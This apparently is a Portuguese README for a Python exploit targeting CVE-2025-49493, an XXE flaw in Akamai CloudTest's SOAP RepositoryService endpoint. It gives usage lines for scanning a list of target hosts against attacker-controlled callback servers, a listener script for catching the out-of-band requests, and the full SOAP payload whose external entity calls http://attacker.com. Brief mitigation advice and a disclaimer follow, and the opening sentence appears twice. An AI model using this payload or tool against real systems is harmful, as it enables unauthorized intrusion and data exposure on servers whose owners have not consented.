
Este é um exploit baseado em Python para CVE-2025-49493, que afeta versões do Akamai CloudTest anteriores a 60 2025.06.02 (12988). A vulnerabilidade permite injeção de XML External Entity (XXE) através do endpoint de serviço SOAP.
Este é um exploit baseado em Python para CVE-2025-49493, que afeta versões do Akamai CloudTest anteriores a 60 2025.06.02 (12988). A vulnerabilidade permite injeção de Entidade Externa XML (XXE) por meio do endpoint do serviço SOAP.
A vulnerabilidade existe no endpoint SOAP /concerto/services/RepositoryService, onde a entrada de XML é processada sem a devida sanitização de entidades externas. Um atacante pode criar payloads XML maliciosos para desencadear ataques XXE, potencialmente levando a:
Instale os pacotes necessários:
pip install -r requirements.txt
Ou instale manualmente:
pip install requests urllib3 colored pyfiglet
python main.py targets.txt xxe.attacker.com
# With custom timeout
python main.py targets.txt collaborator.burp.com --timeout 20
# Using interactsh for OOB detection
python main.py targets.txt attacker.interactsh.com
positional arguments:
targets Target file containing list of Akamai CloudTest hosts
xxe_server XXE server to capture requests (e.g., attacker.com or IP)
optional arguments:
-h, --help show this help message and exit
--timeout TIMEOUT Request timeout in seconds (default: 10)
Crie um arquivo targets.txt com um alvo por linha:
https://example-cloudtest.akamai.com
https://demo-cloudtest.example.com
https://test-cloudtest.internal.company.com
https://cloudtest.example.org
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latestinteractsh-clientConfigure um servidor HTTP simples para capturar requisições:
# simple_server.py
import http.server
import socketserver
class RequestHandler(http.server.SimpleHTTPRequestHandler):
def do_GET(self):
print(f"XXE Request received: {self.path}")
print(f"Headers: {self.headers}")
super().do_GET()
with socketserver.TCPServer(("", 8000), RequestHandler) as httpd:
print("Server running on port 8000")
httpd.serve_forever()
O exploit usa a seguinte estrutura de payload XXE:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE soapenv:Envelope [
<!ENTITY xxe SYSTEM "http://attacker.com">
]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:rep="http://example.com/services/repository">
<soapenv:Header/>
<soapenv:Body>
<rep:getUIBundleObjectXml>
<rep:uiBundleRequestXml>&xxe;</rep:uiBundleRequestXml>
</rep:getUIBundleObjectXml>
</soapenv:Body>
</soapenv:Envelope>
Ações Imediatas:
Soluções de Longo Prazo:
Processamento Seguro de XML:
# Disable external entities in XML parsers
import xml.etree.ElementTree as ET
parser = ET.XMLParser()
parser.parser.DefaultHandler = lambda data: None
parser.parser.ExternalEntityRefHandler = lambda *args: False
Validação de Entrada:
Esta ferramenta é fornecida apenas para fins educacionais e de testes autorizados. Os usuários são responsáveis por garantir que possuem a devida autorização antes de testar qualquer sistema. Os autores não são responsáveis por qualquer uso indevido ou dano causado por esta ferramenta.
Este projeto é licenciado sob a Licença MIT - consulte o arquivo LICENSE para obter detalhes.